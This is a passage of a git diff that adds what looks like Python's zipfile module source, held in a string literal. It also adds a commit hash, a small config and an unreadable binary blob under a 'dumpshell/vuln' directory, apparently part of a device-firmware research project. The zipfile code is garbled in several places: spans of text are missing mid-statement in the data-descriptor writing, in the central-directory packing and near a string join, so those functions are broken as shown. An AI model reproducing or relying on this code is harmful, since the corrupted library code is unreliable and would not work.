data that supports the buffer protocol + if isinstance(data, (bytes, bytearray)): + nbytes = len(data) + else: + data = memoryview(data) + nbytes = data.nbytes + self._file_size += nbytes + + self._crc = crc32(data, self._crc) + if self._compressor: + data = self._compressor.compress(data) + self._compress_size += len(data) + self._fileobj.write(data) + return nbytes + + def close(self): + if self.closed: + return + try: + super().close() + # Flush any data from the compressor, and update header info + if self._compressor: + buf = self._compressor.flush() + self._compress_size += len(buf) + self._fileobj.write(buf) + self._zinfo.compress_size = self._compress_size + else: + self._zinfo.compress_size = self._file_size + self._zinfo.CRC = self._crc + self._zinfo.file_size = self._file_size + + if not self._zip64: + if self._file_size > ZIP64_LIMIT: + raise RuntimeError("File size too large, try using force_zip64") + if self._compress_size > ZIP64_LIMIT: + raise RuntimeError("Compressed size too large, try using force_zip64") + + # Write updated header info + if self._zinfo.flag_bits & _MASK_USE_DATA_DESCRIPTOR: + # Write CRC and file sizes after the file data + fmt = '') + return ''.join(result) + + def _RealGetContents(self): + """Read in the table of contents for the ZIP file.""" + fp = self.fp + try: + endrec = _EndRecData(fp) + except OSError: + raise BadZipFile("File is not a zip file") + if not endrec: + raise BadZipFile("File is not a zip file") + if self.debug > 1: + print(endrec) + size_cd = endrec[_ECD_SIZE] # bytes in central directory + offset_cd = endrec[_ECD_OFFSET] # offset of central directory + self._comment = endrec[_ECD_COMMENT] # archive comment + + # "concat" is zero, unless zip was concatenated to another file + concat = endrec[_ECD_LOCATION] - size_cd - offset_cd + if endrec[_ECD_SIGNATURE] == stringEndArchive64: + # If Zip64 extension structures are present, account for them + concat -= (sizeEndCentDir64 + sizeEndCentDir64Locator) + + if self.debug > 2: + inferred = concat + offset_cd + print("given, inferred, offset", offset_cd, inferred, concat) + # self.start_dir: Position of start of central directory + self.start_dir = offset_cd + concat + if self.start_dir < 0: + raise BadZipFile("Bad offset for central directory") + fp.seek(self.start_dir, 0) + data = fp.read(size_cd) + fp = io.BytesIO(data) + total = 0 + while total < size_cd: + centdir = fp.read(sizeCentralDir) + if len(centdir) != sizeCentralDir: + raise BadZipFile("Truncated central directory") + centdir = struct.unpack(structCentralDir, centdir) + if centdir[_CD_SIGNATURE] != stringCentralDir: + raise BadZipFile("Bad magic number for central directory") + if self.debug > 2: + print(centdir) + filename = fp.read(centdir[_CD_FILENAME_LENGTH]) + orig_filename_crc = crc32(filename) + flags = centdir[_CD_FLAG_BITS] + if flags & _MASK_UTF_FILENAME: + # UTF-8 file names extension + filename = filename.decode('utf-8') + else: + # Historical ZIP filename encoding + filename = filename.decode(self.metadata_encoding or 'cp437') + # Create ZipInfo instance to store file information + x = ZipInfo(filename) + x.extra = fp.read(centdir[_CD_EXTRA_FIELD_LENGTH]) + x.comment = fp.read(centdir[_CD_COMMENT_LENGTH]) + x.header_offset = centdir[_CD_LOCAL_HEADER_OFFSET] + (x.create_version, x.create_system, x.extract_version, x.reserved, + x.flag_bits, x.compress_type, t, d, + x.CRC, x.compress_size, x.file_size) = centdir[1:12] + if x.extract_version > MAX_EXTRACT_VERSION: + raise NotImplementedError("zip file version %.1f" % + (x.extract_version / 10)) + x.volume, x.internal_attr, x.external_attr = centdir[15:18] + # Convert date/time code to (year, month, day, hour, min, sec) + x._raw_time = t + x.date_time = ( (d>>9)+1980, (d>>5)&0xF, d&0x1F, + t>>11, (t>>5)&0x3F, (t&0x1F) * 2 ) + x._decodeExtra(orig_filename_crc) + x.header_offset = x.header_offset + concat + self.filelist.append(x) + self.NameToInfo[x.filename] = x + + # update total bytes read from central directory + total = (total + sizeCentralDir + centdir[_CD_FILENAME_LENGTH] + + centdir[_CD_EXTRA_FIELD_LENGTH] + + centdir[_CD_COMMENT_LENGTH]) + + if self.debug > 2: + print("total", total) + + + def namelist(self): + """Return a list of file names in the archive.""" + return [data.filename for data in self.filelist] + + def infolist(self): + """Return a list of class ZipInfo instances for files in the + archive.""" + return self.filelist + + def printdir(self, file=None): + """Print a table of contents for the zip file.""" + print("%-46s %19s %12s" % ("File Name", "Modified ", "Size"), + file=file) + for zinfo in self.filelist: + date = "%d-%02d-%02d %02d:%02d:%02d" % zinfo.date_time[:6] + print("%-46s %s %12d" % (zinfo.filename, date, zinfo.file_size), + file=file) + + def testzip(self): + """Read all the files and check the CRC. + + Return None if all files could be read successfully, or the name + of the offending file otherwise.""" + chunk_size = 2 ** 20 + for zinfo in self.filelist: + try: + # Read by chunks, to avoid an OverflowError or a + # MemoryError with very large embedded files. + with self.open(zinfo.filename, "r") as f: + while f.read(chunk_size): # Check CRC-32 + pass + except BadZipFile: + return zinfo.filename + + def getinfo(self, name): + """Return the instance of ZipInfo given 'name'.""" + info = self.NameToInfo.get(name) + if info is None: + raise KeyError( + 'There is no item named %r in the archive' % name) + + return info + + def setpassword(self, pwd): + """Set default password for encrypted files.""" + if pwd and not isinstance(pwd, bytes): + raise TypeError("pwd: expected bytes, got %s" % type(pwd).__name__) + if pwd: + self.pwd = pwd + else: + self.pwd = None + + @property + def comment(self): + """The comment text associated with the ZIP file.""" + return self._comment + + @comment.setter + def comment(self, comment): + if not isinstance(comment, bytes): + raise TypeError("comment: expected bytes, got %s" % type(comment).__name__) + # check for valid comment length + if len(comment) > ZIP_MAX_COMMENT: + import warnings + warnings.warn('Archive comment is too long; truncating to %d bytes' + % ZIP_MAX_COMMENT, stacklevel=2) + comment = comment[:ZIP_MAX_COMMENT] + self._comment = comment + self._didModify = True + + def read(self, name, pwd=None): + """Return file bytes for name.""" + with self.open(name, "r", pwd) as fp: + return fp.read() + + def open(self, name, mode="r", pwd=None, *, force_zip64=False): + """Return file-like object for 'name'. + + name is a string for the file name within the ZIP file, or a ZipInfo + object. + + mode should be 'r' to read a file already in the ZIP file, or 'w' to + write to a file newly added to the archive. + + pwd is the password to decrypt files (only used for reading). + + When writing, if the file size is not known in advance but may exceed + 2 GiB, pass force_zip64 to use the ZIP64 format, which can handle large + files. If the size is known in advance, it is best to pass a ZipInfo + instance for name, with zinfo.file_size set. + """ + if mode not in {"r", "w"}: + raise ValueError('open() requires mode "r" or "w"') + if pwd and (mode == "w"): + raise ValueError("pwd is only supported for reading files") + if not self.fp: + raise ValueError( + "Attempt to use ZIP archive that was already closed") + + # Make sure we have an info object + if isinstance(name, ZipInfo): + # 'name' is already an info object + zinfo = name + elif mode == 'w': + zinfo = ZipInfo(name) + zinfo.compress_type = self.compression + zinfo._compresslevel = self.compresslevel + else: + # Get info object for name + zinfo = self.getinfo(name) + + if mode == 'w': + return self._open_to_write(zinfo, force_zip64=force_zip64) + + if self._writing: + raise ValueError("Can't read from the ZIP file while there " + "is an open writing handle on it. " + "Close the writing handle before trying to read.") + + # Open for reading: + self._fileRefCnt += 1 + zef_file = _SharedFile(self.fp, zinfo.header_offset, + self._fpclose, self._lock, lambda: self._writing) + try: + # Skip the file header: + fheader = zef_file.read(sizeFileHeader) + if len(fheader) != sizeFileHeader: + raise BadZipFile("Truncated file header") + fheader = struct.unpack(structFileHeader, fheader) + if fheader[_FH_SIGNATURE] != stringFileHeader: + raise BadZipFile("Bad magic number for file header") + + fname = zef_file.read(fheader[_FH_FILENAME_LENGTH]) + if fheader[_FH_EXTRA_FIELD_LENGTH]: + zef_file.seek(fheader[_FH_EXTRA_FIELD_LENGTH], whence=1) + + if zinfo.flag_bits & _MASK_COMPRESSED_PATCH: + # Zip 2.7: compressed patched data + raise NotImplementedError("compressed patched data (flag bit 5)") + + if zinfo.flag_bits & _MASK_STRONG_ENCRYPTION: + # strong encryption + raise NotImplementedError("strong encryption (flag bit 6)") + + if fheader[_FH_GENERAL_PURPOSE_FLAG_BITS] & _MASK_UTF_FILENAME: + # UTF-8 filename + fname_str = fname.decode("utf-8") + else: + fname_str = fname.decode(self.metadata_encoding or "cp437") + + if fname_str != zinfo.orig_filename: + raise BadZipFile( + 'File name in directory %r and header %r differ.' + % (zinfo.orig_filename, fname)) + + # check for encrypted flag & handle password + is_encrypted = zinfo.flag_bits & _MASK_ENCRYPTED + if is_encrypted: + if not pwd: + pwd = self.pwd + if pwd and not isinstance(pwd, bytes): + raise TypeError("pwd: expected bytes, got %s" % type(pwd).__name__) + if not pwd: + raise RuntimeError("File %r is encrypted, password " + "required for extraction" % name) + else: + pwd = None + + return ZipExtFile(zef_file, mode, zinfo, pwd, True) + except: + zef_file.close() + raise + + def _open_to_write(self, zinfo, force_zip64=False): + if force_zip64 and not self._allowZip64: + raise ValueError( + "force_zip64 is True, but allowZip64 was False when opening " + "the ZIP file." + ) + if self._writing: + raise ValueError("Can't write to the ZIP file while there is " + "another write handle open on it. " + "Close the first handle before opening another.") + + # Size and CRC are overwritten with correct data after processing the file + zinfo.compress_size = 0 + zinfo.CRC = 0 + + zinfo.flag_bits = 0x00 + if zinfo.compress_type == ZIP_LZMA: + # Compressed data includes an end-of-stream (EOS) marker + zinfo.flag_bits |= _MASK_COMPRESS_OPTION_1 + if not self._seekable: + zinfo.flag_bits |= _MASK_USE_DATA_DESCRIPTOR + + if not zinfo.external_attr: + zinfo.external_attr = 0o600 << 16 # permissions: ?rw------- + + # Compressed size can be larger than uncompressed size + zip64 = force_zip64 or (zinfo.file_size * 1.05 > ZIP64_LIMIT) + if not self._allowZip64 and zip64: + raise LargeZipFile("Filesize would require ZIP64 extensions") + + if self._seekable: + self.fp.seek(self.start_dir) + zinfo.header_offset = self.fp.tell() + + self._writecheck(zinfo) + self._didModify = True + + self.fp.write(zinfo.FileHeader(zip64)) + + self._writing = True + return _ZipWriteFile(self, zinfo, zip64) + + def extract(self, member, path=None, pwd=None): + """Extract a member from the archive to the current working directory, + using its full name. Its file information is extracted as accurately + as possible. `member' may be a filename or a ZipInfo object. You can + specify a different directory using `path'. + """ + if path is None: + path = os.getcwd() + else: + path = os.fspath(path) + + return self._extract_member(member, path, pwd) + + def extractall(self, path=None, members=None, pwd=None): + """Extract all members from the archive to the current working + directory. `path' specifies a different directory to extract to. + `members' is optional and must be a subset of the list returned + by namelist(). + """ + if members is None: + members = self.namelist() + + if path is None: + path = os.getcwd() + else: + path = os.fspath(path) + + for zipinfo in members: + self._extract_member(zipinfo, path, pwd) + + @classmethod + def _sanitize_windows_name(cls, arcname, pathsep): + """Replace bad characters and remove trailing dots from parts.""" + table = cls._windows_illegal_name_trans_table + if not table: + illegal = ':<>|"?*' + table = str.maketrans(illegal, '_' * len(illegal)) + cls._windows_illegal_name_trans_table = table + arcname = arcname.translate(table) + # remove trailing dots and spaces + arcname = (x.rstrip(' .') for x in arcname.split(pathsep)) + # rejoin, removing empty parts. + arcname = pathsep.join(x for x in arcname if x) + return arcname + + def _extract_member(self, member, targetpath, pwd): + """Extract the ZipInfo object 'member' to a physical + file on the path targetpath. + """ + if not isinstance(member, ZipInfo): + member = self.getinfo(member) + + # build the destination pathname, replacing + # forward slashes to platform specific separators. + arcname = member.filename.replace('/', os.path.sep) + + if os.path.altsep: + arcname = arcname.replace(os.path.altsep, os.path.sep) + # interpret absolute pathname as relative, remove drive letter or + # UNC path, redundant separators, "." and ".." components. + arcname = os.path.splitdrive(arcname)[1] + invalid_path_parts = ('', os.path.curdir, os.path.pardir) + arcname = os.path.sep.join(x for x in arcname.split(os.path.sep) + if x not in invalid_path_parts) + if os.path.sep == '\\': + # filter illegal characters on Windows + arcname = self._sanitize_windows_name(arcname, os.path.sep) + + if not arcname: + raise ValueError("Empty filename.") + + targetpath = os.path.join(targetpath, arcname) + targetpath = os.path.normpath(targetpath) + + # Create all upper directories if necessary. + upperdirs = os.path.dirname(targetpath) + if upperdirs and not os.path.exists(upperdirs): + os.makedirs(upperdirs) + + if member.is_dir(): + if not os.path.isdir(targetpath): + os.mkdir(targetpath) + return targetpath + + with self.open(member, pwd=pwd) as source, \ + open(targetpath, "wb") as target: + shutil.copyfileobj(source, target) + + return targetpath + + def _writecheck(self, zinfo): + """Check for errors before writing a file to the archive.""" + if zinfo.filename in self.NameToInfo: + import warnings + warnings.warn('Duplicate name: %r' % zinfo.filename, stacklevel=3) + if self.mode not in ('w', 'x', 'a'): + raise ValueError("write() requires mode 'w', 'x', or 'a'") + if not self.fp: + raise ValueError( + "Attempt to write ZIP archive that was already closed") + _check_compression(zinfo.compress_type) + if not self._allowZip64: + requires_zip64 = None + if len(self.filelist) >= ZIP_FILECOUNT_LIMIT: + requires_zip64 = "Files count" + elif zinfo.file_size > ZIP64_LIMIT: + requires_zip64 = "Filesize" + elif zinfo.header_offset > ZIP64_LIMIT: + requires_zip64 = "Zipfile size" + if requires_zip64: + raise LargeZipFile(requires_zip64 + + " would require ZIP64 extensions") + + def write(self, filename, arcname=None, + compress_type=None, compresslevel=None): + """Put the bytes from filename into the archive under the name + arcname.""" + if not self.fp: + raise ValueError( + "Attempt to write to ZIP archive that was already closed") + if self._writing: + raise ValueError( + "Can't write to ZIP archive while an open writing handle exists" + ) + + zinfo = ZipInfo.from_file(filename, arcname, + strict_timestamps=self._strict_timestamps) + + if zinfo.is_dir(): + zinfo.compress_size = 0 + zinfo.CRC = 0 + self.mkdir(zinfo) + else: + if compress_type is not None: + zinfo.compress_type = compress_type + else: + zinfo.compress_type = self.compression + + if compresslevel is not None: + zinfo._compresslevel = compresslevel + else: + zinfo._compresslevel = self.compresslevel + + with open(filename, "rb") as src, self.open(zinfo, 'w') as dest: + shutil.copyfileobj(src, dest, 1024*8) + + def writestr(self, zinfo_or_arcname, data, + compress_type=None, compresslevel=None): + """Write a file into the archive. The contents is 'data', which + may be either a 'str' or a 'bytes' instance; if it is a 'str', + it is encoded as UTF-8 first. + 'zinfo_or_arcname' is either a ZipInfo instance or + the name of the file in the archive.""" + if isinstance(data, str): + data = data.encode("utf-8") + if not isinstance(zinfo_or_arcname, ZipInfo): + zinfo = ZipInfo(filename=zinfo_or_arcname, + date_time=time.localtime(time.time())[:6]) + zinfo.compress_type = self.compression + zinfo._compresslevel = self.compresslevel + if zinfo.filename.endswith('/'): + zinfo.external_attr = 0o40775 << 16 # drwxrwxr-x + zinfo.external_attr |= 0x10 # MS-DOS directory flag + else: + zinfo.external_attr = 0o600 << 16 # ?rw------- + else: + zinfo = zinfo_or_arcname + + if not self.fp: + raise ValueError( + "Attempt to write to ZIP archive that was already closed") + if self._writing: + raise ValueError( + "Can't write to ZIP archive while an open writing handle exists." + ) + + if compress_type is not None: + zinfo.compress_type = compress_type + + if compresslevel is not None: + zinfo._compresslevel = compresslevel + + zinfo.file_size = len(data) # Uncompressed size + with self._lock: + with self.open(zinfo, mode='w') as dest: + dest.write(data) + + def mkdir(self, zinfo_or_directory_name, mode=511): + """Creates a directory inside the zip archive.""" + if isinstance(zinfo_or_directory_name, ZipInfo): + zinfo = zinfo_or_directory_name + if not zinfo.is_dir(): + raise ValueError("The given ZipInfo does not describe a directory") + elif isinstance(zinfo_or_directory_name, str): + directory_name = zinfo_or_directory_name + if not directory_name.endswith("/"): + directory_name += "/" + zinfo = ZipInfo(directory_name) + zinfo.compress_size = 0 + zinfo.CRC = 0 + zinfo.external_attr = ((0o40000 | mode) & 0xFFFF) << 16 + zinfo.file_size = 0 + zinfo.external_attr |= 0x10 + else: + raise TypeError("Expected type str or ZipInfo") + + with self._lock: + if self._seekable: + self.fp.seek(self.start_dir) + zinfo.header_offset = self.fp.tell() # Start of header bytes + if zinfo.compress_type == ZIP_LZMA: + # Compressed data includes an end-of-stream (EOS) marker + zinfo.flag_bits |= _MASK_COMPRESS_OPTION_1 + + self._writecheck(zinfo) + self._didModify = True + + self.filelist.append(zinfo) + self.NameToInfo[zinfo.filename] = zinfo + self.fp.write(zinfo.FileHeader(False)) + self.start_dir = self.fp.tell() + + def __del__(self): + """Call the "close()" method in case the user forgot.""" + self.close() + + def close(self): + """Close the file, and for mode 'w', 'x' and 'a' write the ending + records.""" + if self.fp is None: + return + + if self._writing: + raise ValueError("Can't close the ZIP file while there is " + "an open writing handle on it. " + "Close the writing handle before closing the zip.") + + try: + if self.mode in ('w', 'x', 'a') and self._didModify: # write ending records + with self._lock: + if self._seekable: + self.fp.seek(self.start_dir) + self._write_end_record() + finally: + fp = self.fp + self.fp = None + self._fpclose(fp) + + def _write_end_record(self): + for zinfo in self.filelist: # write central directory + dt = zinfo.date_time + dosdate = (dt[0] - 1980) << 9 | dt[1] << 5 | dt[2] + dostime = dt[3] << 11 | dt[4] << 5 | (dt[5] // 2) + extra = [] + if zinfo.file_size > ZIP64_LIMIT \ + or zinfo.compress_size > ZIP64_LIMIT: + extra.append(zinfo.file_size) + extra.append(zinfo.compress_size) + file_size = 0xffffffff + compress_size = 0xffffffff + else: + file_size = zinfo.file_size + compress_size = zinfo.compress_size + + if zinfo.header_offset > ZIP64_LIMIT: + extra.append(zinfo.header_offset) + header_offset = 0xffffffff + else: + header_offset = zinfo.header_offset + + extra_data = zinfo.extra + min_version = 0 + if extra: + # Append a ZIP64 field to the extra's + extra_data = _Extra.strip(extra_data, (1,)) + extra_data = struct.pack( + ' ZIP_FILECOUNT_LIMIT: + requires_zip64 = "Files count" + elif centDirOffset > ZIP64_LIMIT: + requires_zip64 = "Central directory offset" + elif centDirSize > ZIP64_LIMIT: + requires_zip64 = "Central directory size" + if requires_zip64: + # Need to write the ZIP64 end-of-archive records + if not self._allowZip64: + raise LargeZipFile(requires_zip64 + + " would require ZIP64 extensions") + zip64endrec = struct.pack( + structEndArchive64, stringEndArchive64, + 44, 45, 45, 0, 0, centDirCount, centDirCount, + centDirSize, centDirOffset) + self.fp.write(zip64endrec) + + zip64locrec = struct.pack( + structEndArchive64Locator, + stringEndArchive64Locator, 0, pos2, 1) + self.fp.write(zip64locrec) + centDirCount = min(centDirCount, 0xFFFF) + centDirSize = min(centDirSize, 0xFFFFFFFF) + centDirOffset = min(centDirOffset, 0xFFFFFFFF) + + endrec = struct.pack(structEndArchive, stringEndArchive, + 0, 0, centDirCount, centDirCount, + centDirSize, centDirOffset, len(self._comment)) + self.fp.write(endrec) + self.fp.write(self._comment) + if self.mode == "a": + self.fp.truncate() + self.fp.flush() + + def _fpclose(self, fp): + assert self._fileRefCnt > 0 + self._fileRefCnt -= 1 + if not self._fileRefCnt and not self._filePassed: + fp.close() + + +class PyZipFile(ZipFile): + """Class to create ZIP archives with Python library files and packages.""" + + def __init__(self, file, mode="r", compression=ZIP_STORED, + allowZip64=True, optimize=-1): + ZipFile.__init__(self, file, mode=mode, compression=compression, + allowZip64=allowZip64) + self._optimize = optimize + + def writepy(self, pathname, basename="", filterfunc=None): + """Add all files from "pathname" to the ZIP archive. + + If pathname is a package directory, search the directory and + all package subdirectories recursively for all *.py and enter + the modules into the archive. If pathname is a plain + directory, listdir *.py and enter all modules. Else, pathname + must be a Python *.py file and the module will be put into the + archive. Added modules are always module.pyc. + This method will compile the module.py into module.pyc if + necessary. + If filterfunc(pathname) is given, it is called with every argument. + When it is False, the file or directory is skipped. + """ + pathname = os.fspath(pathname) + if filterfunc and not filterfunc(pathname): + if self.debug: + label = 'path' if os.path.isdir(pathname) else 'file' + print('%s %r skipped by filterfunc' % (label, pathname)) + return + dir, name = os.path.split(pathname) + if os.path.isdir(pathname): + initname = os.path.join(pathname, "__init__.py") + if os.path.isfile(initname): + # This is a package directory, add it + if basename: + basename = "%s/%s" % (basename, name) + else: + basename = name + if self.debug: + print("Adding package in", pathname, "as", basename) + fname, arcname = self._get_codename(initname[0:-3], basename) + if self.debug: + print("Adding", arcname) + self.write(fname, arcname) + dirlist = sorted(os.listdir(pathname)) + dirlist.remove("__init__.py") + # Add all *.py files and package subdirectories + for filename in dirlist: + path = os.path.join(pathname, filename) + root, ext = os.path.splitext(filename) + if os.path.isdir(path): + if os.path.isfile(os.path.join(path, "__init__.py")): + # This is a package directory, add it + self.writepy(path, basename, + filterfunc=filterfunc) # Recursive call + elif ext == ".py": + if filterfunc and not filterfunc(path): + if self.debug: + print('file %r skipped by filterfunc' % path) + continue + fname, arcname = self._get_codename(path[0:-3], + basename) + if self.debug: + print("Adding", arcname) + self.write(fname, arcname) + else: + # This is NOT a package directory, add its files at top level + if self.debug: + print("Adding files from directory", pathname) + for filename in sorted(os.listdir(pathname)): + path = os.path.join(pathname, filename) + root, ext = os.path.splitext(filename) + if ext == ".py": + if filterfunc and not filterfunc(path): + if self.debug: + print('file %r skipped by filterfunc' % path) + continue + fname, arcname = self._get_codename(path[0:-3], + basename) + if self.debug: + print("Adding", arcname) + self.write(fname, arcname) + else: + if pathname[-3:] != ".py": + raise RuntimeError( + 'Files added with writepy() must end with ".py"') + fname, arcname = self._get_codename(pathname[0:-3], basename) + if self.debug: + print("Adding file", arcname) + self.write(fname, arcname) + + def _get_codename(self, pathname, basename): + """Return (filename, archivename) for the path. + + Given a module name path, return the correct file path and + archive name, compiling if necessary. For example, given + /python/lib/string, return (/python/lib/string.pyc, string). + """ + def _compile(file, optimize=-1): + import py_compile + if self.debug: + print("Compiling", file) + try: + py_compile.compile(file, doraise=True, optimize=optimize) + except py_compile.PyCompileError as err: + print(err.msg) + return False + return True + + file_py = pathname + ".py" + file_pyc = pathname + ".pyc" + pycache_opt0 = importlib.util.cache_from_source(file_py, optimization='') + pycache_opt1 = importlib.util.cache_from_source(file_py, optimization=1) + pycache_opt2 = importlib.util.cache_from_source(file_py, optimization=2) + if self._optimize == -1: + # legacy mode: use whatever file is present + if (os.path.isfile(file_pyc) and + os.stat(file_pyc).st_mtime >= os.stat(file_py).st_mtime): + # Use .pyc file. + arcname = fname = file_pyc + elif (os.path.isfile(pycache_opt0) and + os.stat(pycache_opt0).st_mtime >= os.stat(file_py).st_mtime): + # Use the __pycache__/*.pyc file, but write it to the legacy pyc + # file name in the archive. + fname = pycache_opt0 + arcname = file_pyc + elif (os.path.isfile(pycache_opt1) and + os.stat(pycache_opt1).st_mtime >= os.stat(file_py).st_mtime): + # Use the __pycache__/*.pyc file, but write it to the legacy pyc + # file name in the archive. + fname = pycache_opt1 + arcname = file_pyc + elif (os.path.isfile(pycache_opt2) and + os.stat(pycache_opt2).st_mtime >= os.stat(file_py).st_mtime): + # Use the __pycache__/*.pyc file, but write it to the legacy pyc + # file name in the archive. + fname = pycache_opt2 + arcname = file_pyc + else: + # Compile py into PEP 3147 pyc file. + if _compile(file_py): + if sys.flags.optimize == 0: + fname = pycache_opt0 + elif sys.flags.optimize == 1: + fname = pycache_opt1 + else: + fname = pycache_opt2 + arcname = file_pyc + else: + fname = arcname = file_py + else: + # new mode: use given optimization level + if self._optimize == 0: + fname = pycache_opt0 + arcname = file_pyc + else: + arcname = file_pyc + if self._optimize == 1: + fname = pycache_opt1 + elif self._optimize == 2: + fname = pycache_opt2 + else: + msg = "invalid value for 'optimize': {!r}".format(self._optimize) + raise ValueError(msg) + if not (os.path.isfile(fname) and + os.stat(fname).st_mtime >= os.stat(file_py).st_mtime): + if not _compile(file_py, optimize=self._optimize): + fname = arcname = file_py + archivename = os.path.split(arcname)[1] + if basename: + archivename = "%s/%s" % (basename, archivename) + return (fname, archivename) + +''' +from ._path import ( # noqa: E402 + Path, + + # used privately for tests + CompleteDirs, # noqa: F401 +) + +# used privately for tests +from .__main__ import main # noqa: F401, E402 +''' diff --git a/dumpshell/vuln/aee-commit b/dumpshell/vuln/aee-commit new file mode 100644 index 0000000..9f18e26 --- /dev/null +++ b/dumpshell/vuln/aee-commit @@ -0,0 +1 @@ +commit a5a730e76f371a3f8b3ac40ef31aa3bdc6d67f5b diff --git a/dumpshell/vuln/aee-config b/dumpshell/vuln/aee-config new file mode 100644 index 0000000..8a484ed --- /dev/null +++ b/dumpshell/vuln/aee-config @@ -0,0 +1,2 @@ +AE_FORCE_MODE = 0 +AE_EE = n diff --git a/dumpshell/vuln/aee_aed b/dumpshell/vuln/aee_aed new file mode 100644 index 0000000000000000000000000000000000000000..25f43449bf8a5c0fe00b43289d4b31be19dfb5b8 GIT binary patch literal 214312 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 